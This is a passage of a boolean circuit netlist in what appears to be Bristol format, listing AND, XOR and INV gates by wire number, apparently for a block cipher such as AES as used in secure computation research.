AND +2 1 17738 17781 17737 XOR +2 1 17737 17775 17733 XOR +2 1 17799 17842 17780 AND +2 1 17780 17733 17736 XOR +2 1 17796 17844 17779 AND +2 1 17779 17780 17774 XOR +2 1 17785 17774 17756 XOR +2 1 17786 17756 17757 XOR +2 1 17794 17757 17761 XOR +2 1 17795 17761 17766 XOR +2 1 17747 17774 17743 XOR +2 1 17775 17743 17746 XOR +2 1 17745 17746 17848 XOR +2 1 17738 17743 17742 XOR +2 1 17741 17742 17847 XOR +2 1 17766 17740 17846 XOR +2 1 17756 17733 17732 XOR +2 1 17793 17761 17730 XOR +2 1 17729 17730 36650 XOR +2 1 36650 652 524 XOR +2 1 684 524 556 XOR +2 1 716 556 588 XOR +2 1 748 588 620 XOR +2 1 17800 17841 17778 AND +2 1 17789 17778 17739 XOR +1 1 17739 17735 INV +2 1 17735 17736 17845 XOR +1 1 17848 36647 INV +2 1 36647 655 527 XOR +2 1 687 527 559 XOR +2 1 719 559 591 XOR +2 1 751 591 623 XOR +1 1 17847 36648 INV +2 1 36648 654 526 XOR +2 1 686 526 558 XOR +2 1 718 558 590 XOR +2 1 750 590 622 XOR +1 1 17846 36653 INV +2 1 36653 649 521 XOR +2 1 681 521 553 XOR +2 1 713 553 585 XOR +2 1 745 585 617 XOR +1 1 17845 36652 INV +2 1 36652 650 522 XOR +2 1 682 522 554 XOR +2 1 714 554 586 XOR +2 1 746 586 618 XOR +2 1 622 620 21362 XOR +2 1 623 617 21369 XOR +2 1 618 21369 21454 XOR +2 1 622 21454 21450 XOR +2 1 21454 21450 21437 AND +2 1 17791 17792 32681 XOR +2 1 17788 32681 17768 XOR +2 1 17789 17768 17728 XOR +2 1 17784 17768 17734 XOR +1 1 17734 17731 INV +2 1 17731 17732 36649 XOR +2 1 17757 17728 36654 XOR +2 1 32681 17766 36651 XOR +2 1 21683 21684 32709 XOR +2 1 21680 32709 21660 XOR +2 1 21681 21660 21620 XOR +2 1 21649 21620 36598 XOR +2 1 36598 896 768 XOR +2 1 36630 768 640 XOR +2 1 21676 21660 21626 XOR +1 1 21626 21623 INV +2 1 21623 21624 36593 XOR +2 1 36593 901 773 XOR +2 1 933 773 805 XOR +2 1 965 805 837 XOR +2 1 997 837 869 XOR +2 1 869 24566 24568 XOR +2 1 865 24568 24649 XOR +2 1 866 24568 24646 XOR +2 1 24573 24568 24648 XOR +2 1 870 869 24583 XOR +2 1 868 869 24543 XOR +2 1 36625 773 645 XOR +2 1 805 645 677 XOR +2 1 837 677 709 XOR +2 1 869 709 741 XOR +2 1 740 741 17030 XOR +2 1 741 17053 17055 XOR +2 1 737 17055 17136 XOR +2 1 738 17055 17133 XOR +2 1 17060 17055 17135 XOR +2 1 742 741 17070 XOR +2 1 928 768 800 XOR +2 1 960 800 832 XOR +2 1 992 832 864 XOR +2 1 866 864 24567 XOR +2 1 24567 24573 24655 XOR +2 1 24583 24655 24653 XOR +2 1 864 870 24661 XOR +2 1 864 869 24659 XOR +2 1 24661 24646 24642 AND +2 1 800 640 672 XOR +2 1 24642 24567 24571 XOR +2 1 24655 24648 24640 AND +2 1 832 672 704 XOR +2 1 864 704 736 XOR +2 1 736 741 17146 XOR +2 1 736 742 17148 XOR +2 1 17148 17133 17129 AND +2 1 738 736 17054 XOR +2 1 17054 17060 17142 XOR +2 1 17070 17142 17140 XOR +2 1 17129 17054 17058 XOR +2 1 17142 17135 17127 AND +2 1 32709 21658 36595 XOR +2 1 36595 899 771 XOR +2 1 36627 771 1552 XOR +2 1 931 771 803 XOR +2 1 963 803 835 XOR +2 1 995 835 867 XOR +2 1 803 1552 1553 XOR +1 1 1553 675 INV +2 1 835 1553 1554 XOR +1 1 1554 707 INV +2 1 867 1554 1555 XOR +1 1 1555 739 INV +1 1 1552 643 INV +2 1 739 737 17056 XOR +2 1 739 736 17147 XOR +2 1 17147 17070 17143 XOR +2 1 17053 17147 17139 XOR +2 1 743 17139 17138 XOR +2 1 741 739 17149 XOR +2 1 17054 17149 17134 XOR +2 1 17056 17054 17016 XOR +2 1 17053 17016 17137 XOR +2 1 17056 738 17015 XOR +2 1 743 17015 17144 XOR +2 1 17139 17143 17132 AND +2 1 17132 17056 17059 XOR +2 1 17140 17138 17131 AND +2 1 17144 743 17130 AND +2 1 17147 17136 17126 AND +2 1 17126 17055 17057 XOR +2 1 17059 17057 17063 XOR +2 1 736 17063 17068 XOR +2 1 17149 17134 17125 AND +2 1 17125 17131 17077 XOR +2 1 17077 17068 17123 XOR +2 1 17125 17126 17029 XOR +2 1 17029 17030 17076 XOR +2 1 17076 17058 17075 XOR +2 1 17128 17075 17122 XOR +2 1 17146 17137 17124 AND +2 1 17124 17127 17078 XOR +2 1 17124 17130 17082 XOR +2 1 17082 17054 17069 XOR +2 1 17077 17069 17120 XOR +2 1 17125 17078 17072 XOR +2 1 17058 17078 17032 XOR +2 1 17032 17057 17121 XOR +2 1 17063 17082 17031 XOR +2 1 738 17031 17074 XOR +2 1 17128 17072 17028 XOR +2 1 742 17028 17115 XOR +2 1 17123 17122 17119 AND +2 1 17119 17074 17114 XOR +2 1 17119 17121 17118 XOR +2 1 17120 17118 17117 AND +2 1 17117 17074 17116 XOR +2 1 17117 17129 17023 XOR +2 1 17023 17059 17019 XOR +2 1 736 17019 17022 XOR +2 1 17117 17068 17020 XOR +2 1 738 17019 17018 XOR +2 1 17114 17115 17113 AND +2 1 17113 17121 17112 XOR +2 1 17119 17113 17111 XOR +2 1 17113 17072 17027 XOR +2 1 17113 17130 17026 XOR +2 1 17026 17127 17021 XOR +2 1 17021 17022 17104 XOR +2 1 17121 17111 17110 AND +2 1 17110 17118 17108 XOR +2 1 17110 17128 17081 XOR +2 1 17081 17075 17102 XOR +2 1 742 17081 17064 XOR +2 1 17064 17027 17109 XOR +2 1 17116 17108 17107 AND +2 1 17107 17077 17067 XOR +2 1 17067 17069 17106 XOR +2 1 17107 17131 17025 XOR +2 1 17064 17025 17017 XOR +2 1 17054 17017 17024 XOR +2 1 17021 17024 17105 XOR +2 1 17067 17020 17103 XOR +2 1 17017 17018 17101 XOR +2 1 17102 17139 17100 AND +2 1 17109 17138 17099 AND +2 1 17112 743 17098 AND +2 1 17098 17100 17080 XOR +2 1 17103 17133 17097 AND +2 1 17106 17145 17096 AND +2 1 17116 17135 17095 AND +2 1 17095 17096 17034 XOR +2 1 17104 17136 17094 AND +2 1 17101 17134 17093 AND +2 1 17093 17096 17049 XOR +1 1 17049 17046 INV +2 1 17093 17094 17045 XOR +2 1 17105 17137 17092 AND +2 1 17102 17143 17091 AND +2 1 17109 17140 17090 AND +2 1 17112 17144 17089 AND +2 1 17103 17148 17088 AND +2 1 17088 17092 17065 XOR +2 1 17097 17088 17050 XOR +1 1 17065 17043 INV +2 1 17106 17141 17087 AND +2 1 17095 17087 17052 XOR +2 1 17116 17142 17086 AND +2 1 17043 17086 17042 XOR +2 1 17042 17080 17038 XOR +2 1 17104 17147 17085 AND +2 1 17085 17038 17041 XOR +2 1 17101 17149 17084 AND +2 1 17084 17085 17079 XOR +2 1 17090 17079 17061 XOR +2 1 17091 17061 17062 XOR +2 1 17099 17062 17066 XOR +2 1 17100 17066 17071 XOR +2 1 17052 17079 17048 XOR +2 1 17080 17048 17051 XOR +2 1 17050 17051 17153 XOR +2 1 17043 17048 17047 XOR +2 1 17046 17047 17152 XOR +2 1 17071 17045 17151 XOR +2 1 17061 17038 17037 XOR +2 1 17098 17066 17035 XOR +2 1 17034 17035 36634 XOR +2 1 17105 17146 17083 AND +2 1 17094 17083 17044 XOR +1 1 17044 17040 INV +2 1 17040 17041 17150 XOR +1 1 17153 36631 INV +1 1 17152 36632 INV +1 1 17151 36637 INV +1 1 17150 36636 INV +2 1 867 865 24569 XOR +2 1 867 864 24660 XOR +2 1 24660 24583 24656 XOR +2 1 24566 24660 24652 XOR +2 1 871 24652 24651 XOR +2 1 869 867 24662 XOR +2 1 24567 24662 24647 XOR +2 1 24569 24567 24529 XOR +2 1 24566 24529 24650 XOR +2 1 24569 866 24528 XOR +2 1 871 24528 24657 XOR +2 1 24652 24656 24645 AND +2 1 24645 24569 24572 XOR +2 1 24653 24651 24644 AND +2 1 24657 871 24643 AND +2 1 24660 24649 24639 AND +2 1 24639 24568 24570 XOR +2 1 24572 24570 24576 XOR +2 1 864 24576 24581 XOR +2 1 24662 24647 24638 AND +2 1 24638 24644 24590 XOR +2 1 24590 24581 24636 XOR +2 1 24638 24639 24542 XOR +2 1 24542 24543 24589 XOR +2 1 24589 24571 24588 XOR +2 1 24641 24588 24635 XOR +2 1 24659 24650 24637 AND +2 1 24637 24640 24591 XOR +2 1 24637 24643 24595 XOR +2 1 24595 24567 24582 XOR +2 1 24590 24582 24633 XOR +2 1 24638 24591 24585 XOR +2 1 24571 24591 24545 XOR +2 1 24545 24570 24634 XOR +2 1 24576 24595 24544 XOR +2 1 866 24544 24587 XOR +2 1 24641 24585 24541 XOR +2 1 870 24541 24628 XOR +2 1 24636 24635 24632 AND +2 1 24632 24587 24627 XOR +2 1 24632 24634 24631 XOR +2 1 24633 24631 24630 AND +2 1 24630 24587 24629 XOR +2 1 24630 24642 24536 XOR +2 1 24536 24572 24532 XOR +2 1 864 24532 24535 XOR +2 1 24630 24581 24533 XOR +2 1 866 24532 24531 XOR +2 1 24627 24628 24626 AND +2 1 24626 24634 24625 XOR +2 1 24632 24626 24624 XOR +2 1 24626 24585 24540 XOR +2 1 24626 24643 24539 XOR +2 1 24539 24640 24534 XOR +2 1 24534 24535 24617 XOR +2 1 24634 24624 24623 AND +2 1 24623 24631 24621 XOR +2 1 24623 24641 24594 XOR +2 1 24594 24588 24615 XOR +2 1 870 24594 24577 XOR +2 1 24577 24540 24622 XOR +2 1 24629 24621 24620 AND +2 1 24620 24590 24580 XOR +2 1 24580 24582 24619 XOR +2 1 24620 24644 24538 XOR +2 1 24577 24538 24530 XOR +2 1 24567 24530 24537 XOR +2 1 24534 24537 24618 XOR +2 1 24580 24533 24616 XOR +2 1 24530 24531 24614 XOR +2 1 24615 24652 24613 AND +2 1 24622 24651 24612 AND +2 1 24625 871 24611 AND +2 1 24611 24613 24593 XOR +2 1 24616 24646 24610 AND +2 1 24619 24658 24609 AND +2 1 24629 24648 24608 AND +2 1 24608 24609 24547 XOR +2 1 24617 24649 24607 AND +2 1 24614 24647 24606 AND +2 1 24606 24609 24562 XOR +1 1 24562 24559 INV +2 1 24606 24607 24558 XOR +2 1 24618 24650 24605 AND +2 1 24615 24656 24604 AND +2 1 24622 24653 24603 AND +2 1 24625 24657 24602 AND +2 1 24616 24661 24601 AND +2 1 24601 24605 24578 XOR +2 1 24610 24601 24563 XOR +1 1 24578 24556 INV +2 1 24619 24654 24600 AND +2 1 24608 24600 24565 XOR +2 1 24629 24655 24599 AND +2 1 24556 24599 24555 XOR +2 1 24555 24593 24551 XOR +2 1 24617 24660 24598 AND +2 1 24598 24551 24554 XOR +2 1 24614 24662 24597 AND +2 1 24597 24598 24592 XOR +2 1 24603 24592 24574 XOR +2 1 24604 24574 24575 XOR +2 1 24612 24575 24579 XOR +2 1 24613 24579 24584 XOR +2 1 24565 24592 24561 XOR +2 1 24593 24561 24564 XOR +2 1 24563 24564 24666 XOR +2 1 24556 24561 24560 XOR +2 1 24559 24560 24665 XOR +2 1 24584 24558 24664 XOR +2 1 24574 24551 24550 XOR +2 1 24611 24579 24548 XOR +2 1 24547 24548 36602 XOR +2 1 36602 796 668 XOR +2 1 828 668 700 XOR +2 1 860 700 732 XOR +2 1 892 732 764 XOR +2 1 36634 668 540 XOR +2 1 700 540 572 XOR +2 1 732 572 604 XOR +2 1 764 604 636 XOR +2 1 24618 24659 24596 AND +2 1 24607 24596 24557 XOR +1 1 24557 24553 INV +2 1 24553 24554 24663 XOR +1 1 24666 36599 INV +2 1 36599 799 671 XOR +2 1 831 671 703 XOR +2 1 863 703 735 XOR +2 1 36631 671 543 XOR +2 1 703 543 575 XOR +2 1 735 575 607 XOR +2 1 895 735 767 XOR +2 1 767 607 639 XOR +1 1 24665 36600 INV +2 1 36600 798 670 XOR +2 1 830 670 702 XOR +2 1 862 702 734 XOR +2 1 894 734 766 XOR +2 1 36632 670 542 XOR +2 1 702 542 574 XOR +2 1 734 574 606 XOR +2 1 766 606 638 XOR +2 1 638 636 18721 XOR +2 1 766 764 23586 XOR +1 1 24664 36605 INV +2 1 36605 793 665 XOR +2 1 825 665 697 XOR +2 1 857 697 729 XOR +2 1 889 729 761 XOR +2 1 36637 665 537 XOR +2 1 697 537 569 XOR +2 1 729 569 601 XOR +2 1 761 601 633 XOR +2 1 639 633 18728 XOR +2 1 767 761 23593 XOR +1 1 24663 36604 INV +2 1 36604 794 666 XOR +2 1 826 666 698 XOR +2 1 36636 666 538 XOR +2 1 858 698 730 XOR +2 1 890 730 762 XOR +2 1 698 538 570 XOR +2 1 730 570 602 XOR +2 1 762 602 634 XOR +2 1 634 18728 18813 XOR +2 1 638 18813 18809 XOR +2 1 18813 18809 18796 AND +2 1 762 23593 23679 XOR +2 1 766 23679 23675 XOR +2 1 23679 23675 23662 AND +2 1 17096 17097 32676 XOR +2 1 32676 17071 36635 XOR +2 1 17093 32676 17073 XOR +2 1 17089 17073 17039 XOR +1 1 17039 17036 INV +2 1 17036 17037 36633 XOR +2 1 17094 17073 17033 XOR +2 1 17062 17033 36638 XOR +2 1 22656 22657 32716 XOR +2 1 32716 22631 36619 XOR +2 1 36619 779 651 XOR +2 1 811 651 683 XOR +2 1 843 683 715 XOR +2 1 875 715 747 XOR +2 1 747 745 18863 XOR +2 1 36651 651 523 XOR +2 1 683 523 555 XOR +2 1 715 555 587 XOR +2 1 747 587 619 XOR +2 1 619 617 21365 XOR +2 1 21365 618 21324 XOR +2 1 623 21324 21453 XOR +2 1 21453 623 21439 AND +2 1 18863 746 18822 XOR +2 1 751 18822 18951 XOR +2 1 18951 751 18937 AND +2 1 22653 32716 22633 XOR +2 1 22649 22633 22599 XOR +1 1 22599 22596 INV +2 1 22596 22597 36617 XOR +2 1 36617 781 653 XOR +2 1 813 653 685 XOR +2 1 845 685 717 XOR +2 1 877 717 749 XOR +2 1 36649 653 525 XOR +2 1 685 525 557 XOR +2 1 717 557 589 XOR +2 1 749 589 621 XOR +2 1 749 18860 18862 XOR +2 1 745 18862 18943 XOR +2 1 746 18862 18940 XOR +2 1 18867 18862 18942 XOR +2 1 750 749 18877 XOR +2 1 749 747 18956 XOR +2 1 748 749 18837 XOR +2 1 621 21362 21364 XOR +2 1 617 21364 21445 XOR +2 1 618 21364 21442 XOR +2 1 21369 21364 21444 XOR +2 1 622 621 21379 XOR +2 1 621 619 21458 XOR +2 1 620 621 21339 XOR +2 1 22654 22633 22593 XOR +2 1 22622 22593 36622 XOR +2 1 36622 776 648 XOR +2 1 808 648 680 XOR +2 1 36654 648 520 XOR +2 1 840 680 712 XOR +2 1 680 520 552 XOR +2 1 712 552 584 XOR +2 1 872 712 744 XOR +2 1 744 584 616 XOR +2 1 746 744 18861 XOR +2 1 18861 18956 18941 XOR +2 1 747 744 18954 XOR +2 1 18954 18877 18950 XOR +2 1 18861 18867 18949 XOR +2 1 18877 18949 18947 XOR +2 1 18860 18954 18946 XOR +2 1 751 18946 18945 XOR +2 1 18863 18861 18823 XOR +2 1 18860 18823 18944 XOR +2 1 744 750 18955 XOR +2 1 744 749 18953 XOR +2 1 18946 18950 18939 AND +2 1 18939 18863 18866 XOR +2 1 18947 18945 18938 AND +2 1 18955 18940 18936 AND +2 1 18936 18861 18865 XOR +2 1 18949 18942 18934 AND +2 1 18954 18943 18933 AND +2 1 18933 18862 18864 XOR +2 1 18866 18864 18870 XOR +2 1 744 18870 18875 XOR +2 1 18956 18941 18932 AND +2 1 18932 18938 18884 XOR +2 1 18884 18875 18930 XOR +2 1 18932 18933 18836 XOR +2 1 18836 18837 18883 XOR +2 1 18883 18865 18882 XOR +2 1 18935 18882 18929 XOR +2 1 18953 18944 18931 AND +2 1 18931 18934 18885 XOR +2 1 18931 18937 18889 XOR +2 1 18889 18861 18876 XOR +2 1 18884 18876 18927 XOR +2 1 18932 18885 18879 XOR +2 1 18865 18885 18839 XOR +2 1 18839 18864 18928 XOR +2 1 18870 18889 18838 XOR +2 1 746 18838 18881 XOR +2 1 18935 18879 18835 XOR +2 1 750 18835 18922 XOR +2 1 18930 18929 18926 AND +2 1 18926 18881 18921 XOR +2 1 18926 18928 18925 XOR +2 1 18927 18925 18924 AND +2 1 18924 18881 18923 XOR +2 1 18924 18936 18830 XOR +2 1 18830 18866 18826 XOR +2 1 744 18826 18829 XOR +2 1 18924 18875 18827 XOR +2 1 746 18826 18825 XOR +2 1 18921 18922 18920 AND +2 1 18920 18928 18919 XOR +2 1 18926 18920 18918 XOR +2 1 18920 18879 18834 XOR +2 1 18920 18937 18833 XOR +2 1 18833 18934 18828 XOR +2 1 18828 18829 18911 XOR +2 1 18928 18918 18917 AND +2 1 18917 18925 18915 XOR +2 1 18917 18935 18888 XOR +2 1 18888 18882 18909 XOR +2 1 750 18888 18871 XOR +2 1 18871 18834 18916 XOR +2 1 18923 18915 18914 AND +2 1 18914 18884 18874 XOR +2 1 18874 18876 18913 XOR +2 1 18914 18938 18832 XOR +2 1 18871 18832 18824 XOR +2 1 18861 18824 18831 XOR +2 1 18828 18831 18912 XOR +2 1 18874 18827 18910 XOR +2 1 18824 18825 18908 XOR +2 1 18909 18946 18907 AND +2 1 18916 18945 18906 AND +2 1 18919 751 18905 AND +2 1 18905 18907 18887 XOR +2 1 18910 18940 18904 AND +2 1 18913 18952 18903 AND +2 1 18923 18942 18902 AND +2 1 18902 18903 18841 XOR +2 1 18911 18943 18901 AND +2 1 18908 18941 18900 AND +2 1 18900 18903 18856 XOR +1 1 18856 18853 INV +2 1 18900 18901 18852 XOR +2 1 18912 18944 18899 AND +2 1 18909 18950 18898 AND +2 1 18916 18947 18897 AND +2 1 18919 18951 18896 AND +2 1 18910 18955 18895 AND +2 1 18895 18899 18872 XOR +2 1 18904 18895 18857 XOR +1 1 18872 18850 INV +2 1 18913 18948 18894 AND +2 1 18902 18894 18859 XOR +2 1 18923 18949 18893 AND +2 1 18850 18893 18849 XOR +2 1 18849 18887 18845 XOR +2 1 18911 18954 18892 AND +2 1 18892 18845 18848 XOR +2 1 18908 18956 18891 AND +2 1 18891 18892 18886 XOR +2 1 18897 18886 18868 XOR +2 1 18898 18868 18869 XOR +2 1 18906 18869 18873 XOR +2 1 18907 18873 18878 XOR +2 1 18859 18886 18855 XOR +2 1 18887 18855 18858 XOR +2 1 18857 18858 18960 XOR +2 1 18850 18855 18854 XOR +2 1 18853 18854 18959 XOR +2 1 18878 18852 18958 XOR +2 1 18868 18845 18844 XOR +2 1 18905 18873 18842 XOR +2 1 18841 18842 36658 XOR +2 1 36658 644 516 XOR +2 1 676 516 548 XOR +2 1 708 548 580 XOR +2 1 740 580 612 XOR +2 1 18912 18953 18890 AND +2 1 18901 18890 18851 XOR +1 1 18851 18847 INV +2 1 18847 18848 18957 XOR +1 1 18960 36655 INV +2 1 36655 647 519 XOR +2 1 679 519 551 XOR +2 1 711 551 583 XOR +2 1 743 583 615 XOR +1 1 18959 36656 INV +2 1 36656 646 518 XOR +2 1 678 518 550 XOR +2 1 710 550 582 XOR +2 1 742 582 614 XOR +1 1 18958 36661 INV +2 1 36661 641 513 XOR +2 1 673 513 545 XOR +2 1 705 545 577 XOR +2 1 737 577 609 XOR +1 1 18957 36660 INV +2 1 36660 642 1556 XOR +1 1 1556 514 INV +2 1 674 1556 1557 XOR +1 1 1557 546 INV +2 1 706 1557 1558 XOR +2 1 738 1558 1559 XOR +1 1 1559 610 INV +1 1 1558 578 INV +2 1 618 616 21363 XOR +2 1 21363 21458 21443 XOR +2 1 619 616 21456 XOR +2 1 21456 21379 21452 XOR +2 1 21363 21369 21451 XOR +2 1 21379 21451 21449 XOR +2 1 21362 21456 21448 XOR +2 1 623 21448 21447 XOR +2 1 21365 21363 21325 XOR +2 1 21362 21325 21446 XOR +2 1 616 622 21457 XOR +2 1 616 621 21455 XOR +2 1 21448 21452 21441 AND +2 1 21441 21365 21368 XOR +2 1 21449 21447 21440 AND +2 1 21457 21442 21438 AND +2 1 21438 21363 21367 XOR +2 1 21451 21444 21436 AND +2 1 21456 21445 21435 AND +2 1 21435 21364 21366 XOR +2 1 21368 21366 21372 XOR +2 1 616 21372 21377 XOR +2 1 21458 21443 21434 AND +2 1 21434 21440 21386 XOR +2 1 21386 21377 21432 XOR +2 1 21434 21435 21338 XOR +2 1 21338 21339 21385 XOR +2 1 21385 21367 21384 XOR +2 1 21437 21384 21431 XOR +2 1 21455 21446 21433 AND +2 1 21433 21436 21387 XOR +2 1 21433 21439 21391 XOR +2 1 21391 21363 21378 XOR +2 1 21386 21378 21429 XOR +2 1 21434 21387 21381 XOR +2 1 21367 21387 21341 XOR +2 1 21341 21366 21430 XOR +2 1 21372 21391 21340 XOR +2 1 618 21340 21383 XOR +2 1 21437 21381 21337 XOR +2 1 622 21337 21424 XOR +2 1 21432 21431 21428 AND +2 1 21428 21383 21423 XOR +2 1 21428 21430 21427 XOR +2 1 21429 21427 21426 AND +2 1 21426 21383 21425 XOR +2 1 21426 21438 21332 XOR +2 1 21332 21368 21328 XOR +2 1 616 21328 21331 XOR +2 1 21426 21377 21329 XOR +2 1 618 21328 21327 XOR +2 1 21423 21424 21422 AND +2 1 21422 21430 21421 XOR +2 1 21428 21422 21420 XOR +2 1 21422 21381 21336 XOR +2 1 21422 21439 21335 XOR +2 1 21335 21436 21330 XOR +2 1 21330 21331 21413 XOR +2 1 21430 21420 21419 AND +2 1 21419 21427 21417 XOR +2 1 21419 21437 21390 XOR +2 1 21390 21384 21411 XOR +2 1 622 21390 21373 XOR +2 1 21373 21336 21418 XOR +2 1 21425 21417 21416 AND +2 1 21416 21386 21376 XOR +2 1 21376 21378 21415 XOR +2 1 21416 21440 21334 XOR +2 1 21373 21334 21326 XOR +2 1 21363 21326 21333 XOR +2 1 21330 21333 21414 XOR +2 1 21376 21329 21412 XOR +2 1 21326 21327 21410 XOR +2 1 21411 21448 21409 AND +2 1 21418 21447 21408 AND +2 1 21421 623 21407 AND +2 1 21407 21409 21389 XOR +2 1 21412 21442 21406 AND +2 1 21415 21454 21405 AND +2 1 21425 21444 21404 AND +2 1 21404 21405 21343 XOR +2 1 21413 21445 21403 AND +2 1 21410 21443 21402 AND +2 1 21402 21405 21358 XOR +1 1 21358 21355 INV +2 1 21402 21403 21354 XOR +2 1 21414 21446 21401 AND +2 1 21411 21452 21400 AND +2 1 21418 21449 21399 AND +2 1 21421 21453 21398 AND +2 1 21412 21457 21397 AND +2 1 21397 21401 21374 XOR +2 1 21406 21397 21359 XOR +1 1 21374 21352 INV +2 1 21415 21450 21396 AND +2 1 21404 21396 21361 XOR +2 1 21425 21451 21395 AND +2 1 21352 21395 21351 XOR +2 1 21351 21389 21347 XOR +2 1 21413 21456 21394 AND +2 1 21394 21347 21350 XOR +2 1 21410 21458 21393 AND +2 1 21393 21394 21388 XOR +2 1 21399 21388 21370 XOR +2 1 21400 21370 21371 XOR +2 1 21408 21371 21375 XOR +2 1 21409 21375 21380 XOR +2 1 21361 21388 21357 XOR +2 1 21389 21357 21360 XOR +2 1 21359 21360 21462 XOR +2 1 21352 21357 21356 XOR +2 1 21355 21356 21461 XOR +2 1 21380 21354 21460 XOR +2 1 21370 21347 21346 XOR +2 1 21407 21375 21344 XOR +2 1 21343 21344 36690 XOR +2 1 36690 516 1412 XOR +2 1 548 1412 1444 XOR +2 1 580 1444 1476 XOR +2 1 612 1476 1508 XOR +2 1 21414 21455 21392 AND +2 1 21403 21392 21353 XOR +1 1 21353 21349 INV +2 1 21349 21350 21459 XOR +1 1 21462 36687 INV +2 1 36687 519 1415 XOR +2 1 551 1415 1447 XOR +2 1 583 1447 1479 XOR +2 1 615 1479 1511 XOR +1 1 21461 36688 INV +2 1 36688 518 1414 XOR +2 1 550 1414 1446 XOR +2 1 582 1446 1478 XOR +2 1 614 1478 1510 XOR +2 1 1510 1508 20528 XOR +1 1 21460 36693 INV +2 1 36693 513 1560 XOR +1 1 1560 1409 INV +2 1 545 1560 1561 XOR +1 1 1561 1441 INV +2 1 577 1561 1562 XOR +2 1 609 1562 1563 XOR +1 1 1563 1505 INV +1 1 1562 1473 INV +2 1 1511 1505 20535 XOR +1 1 21459 36692 INV +2 1 36692 514 1410 XOR +2 1 546 1410 1442 XOR +2 1 578 1442 1474 XOR +2 1 610 1474 1506 XOR +2 1 1506 20535 20620 XOR +2 1 1510 20620 20616 XOR +2 1 20620 20616 20603 AND +2 1 614 612 23030 XOR +2 1 615 609 23037 XOR +2 1 610 23037 23122 XOR +2 1 614 23122 23118 XOR +2 1 23122 23118 23105 AND +2 1 18903 18904 32689 XOR +2 1 32689 18878 36659 XOR +2 1 36659 643 515 XOR +2 1 675 515 547 XOR +2 1 707 547 579 XOR +2 1 739 579 611 XOR +2 1 611 609 23033 XOR +2 1 23033 610 22992 XOR +2 1 615 22992 23121 XOR +2 1 23121 615 23107 AND +2 1 18900 32689 18880 XOR +2 1 18896 18880 18846 XOR +1 1 18846 18843 INV +2 1 18843 18844 36657 XOR +2 1 36657 645 517 XOR +2 1 677 517 549 XOR +2 1 709 549 581 XOR +2 1 741 581 613 XOR +2 1 18901 18880 18840 XOR +2 1 18869 18840 36662 XOR +2 1 36662 640 512 XOR +2 1 672 512 544 XOR +2 1 704 544 576 XOR +2 1 736 576 608 XOR +2 1 610 608 23031 XOR +2 1 613 23030 23032 XOR +2 1 609 23032 23113 XOR +2 1 610 23032 23110 XOR +2 1 23037 23032 23112 XOR +2 1 611 608 23124 XOR +2 1 23031 23037 23119 XOR +2 1 23030 23124 23116 XOR +2 1 615 23116 23115 XOR +2 1 614 613 23047 XOR +2 1 23047 23119 23117 XOR +2 1 23124 23047 23120 XOR +2 1 613 611 23126 XOR +2 1 23031 23126 23111 XOR +2 1 612 613 23007 XOR +2 1 23033 23031 22993 XOR +2 1 23030 22993 23114 XOR +2 1 608 614 23125 XOR +2 1 608 613 23123 XOR +2 1 23116 23120 23109 AND +2 1 23109 23033 23036 XOR +2 1 23117 23115 23108 AND +2 1 23125 23110 23106 AND +2 1 23106 23031 23035 XOR +2 1 23119 23112 23104 AND +2 1 23124 23113 23103 AND +2 1 23103 23032 23034 XOR +2 1 23036 23034 23040 XOR +2 1 608 23040 23045 XOR +2 1 23126 23111 23102 AND +2 1 23102 23108 23054 XOR +2 1 23054 23045 23100 XOR +2 1 23102 23103 23006 XOR +2 1 23006 23007 23053 XOR +2 1 23053 23035 23052 XOR +2 1 23105 23052 23099 XOR +2 1 23123 23114 23101 AND +2 1 23101 23104 23055 XOR +2 1 23101 23107 23059 XOR +2 1 23059 23031 23046 XOR +2 1 23054 23046 23097 XOR +2 1 23102 23055 23049 XOR +2 1 23035 23055 23009 XOR +2 1 23009 23034 23098 XOR +2 1 23040 23059 23008 XOR +2 1 610 23008 23051 XOR +2 1 23105 23049 23005 XOR +2 1 614 23005 23092 XOR +2 1 23100 23099 23096 AND +2 1 23096 23051 23091 XOR +2 1 23096 23098 23095 XOR +2 1 23097 23095 23094 AND +2 1 23094 23051 23093 XOR +2 1 23094 23106 23000 XOR +2 1 23000 23036 22996 XOR +2 1 608 22996 22999 XOR +2 1 23094 23045 22997 XOR +2 1 610 22996 22995 XOR +2 1 23091 23092 23090 AND +2 1 23090 23098 23089 XOR +2 1 23096 23090 23088 XOR +2 1 23090 23049 23004 XOR +2 1 23090 23107 23003 XOR +2 1 23003 23104 22998 XOR +2 1 22998 22999 23081 XOR +2 1 23098 23088 23087 AND +2 1 23087 23095 23085 XOR +2 1 23087 23105 23058 XOR +2 1 23058 23052 23079 XOR +2 1 614 23058 23041 XOR +2 1 23041 23004 23086 XOR +2 1 23093 23085 23084 AND +2 1 23084 23054 23044 XOR +2 1 23044 23046 23083 XOR +2 1 23084 23108 23002 XOR +2 1 23041 23002 22994 XOR +2 1 23031 22994 23001 XOR +2 1 22998 23001 23082 XOR +2 1 23044 22997 23080 XOR +2 1 22994 22995 23078 XOR +2 1 23079 23116 23077 AND +2 1 23086 23115 23076 AND +2 1 23089 615 23075 AND +2 1 23075 23077 23057 XOR +2 1 23080 23110 23074 AND +2 1 23083 23122 23073 AND +2 1 23093 23112 23072 AND +2 1 23072 23073 23011 XOR +2 1 23081 23113 23071 AND +2 1 23078 23111 23070 AND +2 1 23070 23073 23026 XOR +1 1 23026 23023 INV +2 1 23070 23071 23022 XOR +2 1 23082 23114 23069 AND +2 1 23079 23120 23068 AND +2 1 23086 23117 23067 AND +2 1 23089 23121 23066 AND +2 1 23080 23125 23065 AND +2 1 23065 23069 23042 XOR +2 1 23074 23065 23027 XOR +1 1 23042 23020 INV +2 1 23083 23118 23064 AND +2 1 23072 23064 23029 XOR +2 1 23093 23119 23063 AND +2 1 23020 23063 23019 XOR +2 1 23019 23057 23015 XOR +2 1 23081 23124 23062 AND +2 1 23062 23015 23018 XOR +2 1 23078 23126 23061 AND +2 1 23061 23062 23056 XOR +2 1 23067 23056 23038 XOR +2 1 23068 23038 23039 XOR +2 1 23076 23039 23043 XOR +2 1 23077 23043 23048 XOR +2 1 23029 23056 23025 XOR +2 1 23057 23025 23028 XOR +2 1 23027 23028 23130 XOR +2 1 23020 23025 23024 XOR +2 1 23023 23024 23129 XOR +2 1 23048 23022 23128 XOR +2 1 23038 23015 23014 XOR +2 1 23075 23043 23012 XOR +2 1 23011 23012 36666 XOR +2 1 36666 540 1436 XOR +2 1 572 1436 1468 XOR +2 1 604 1468 1500 XOR +2 1 636 1500 1532 XOR +2 1 23082 23123 23060 AND +2 1 23071 23060 23021 XOR +1 1 23021 23017 INV +2 